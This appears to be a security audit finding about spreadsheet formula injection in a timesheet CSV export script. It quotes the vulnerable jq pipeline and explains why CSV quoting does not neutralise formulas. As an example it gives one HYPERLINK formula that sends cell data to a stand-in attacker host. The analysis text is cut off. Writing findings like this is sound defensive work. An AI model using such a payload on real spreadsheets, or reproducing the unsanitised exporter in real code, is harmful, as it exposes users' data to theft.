T09 · Insecure Skill Coding Practices
- Location
scripts/export-timesheet.sh:63- Finding
Spreadsheet Formula Injection in CSV Exports
- Content
View full analysis
= $start and .date <= $end) | if $client_filter != "" then select(($clients[.client_id] // "Unknown") | ascii_downcase | contains($client_filter | ascii_downcase)) else . end ) | sort_by(.date) | .[] | [ .date, ($clients[.client_id] // "Unknown"), ($projects[.project_id] // {name: "General"}).name, (.hours | tostring), (.description // "" | gsub(","; ";")), (.category // ""), (if .billable then "yes" else "no" end), (($projects[.project_id] // {rate: 0}).rate | tostring), (if .billable then (.hours * (($projects[.project_id] // {rate: 0}).rate)) else 0 end | tostring) ] | @csv ' "$ENTRIES_FILE" "$CLIENTS_FILE" "$PROJECTS_FILE" >> "$OUTPUT_FILE" ``` ### Technical Analysis The exporter places data-controlled text directly into CSV cells. Affected fields include client names, project names, time-entry descriptions, categories, and potentially dates. The `@csv` formatter correctly quotes CSV syntax, but CSV quoting does not stop spreadsheet applications from interpreting cell contents beginning with characters such as `=`, `+`, `-`, or `@` as formulas. For example, a description such as the following would remain a formula-capable cell after export: ```text =HYPERLINK("https://attacker.example/collect?data="&A1,"View entry") ``` Replacing commas with semicolons does not address this issue. Formula syntax and ar ...[truncated 1853 chars]- Remediation
View remediation
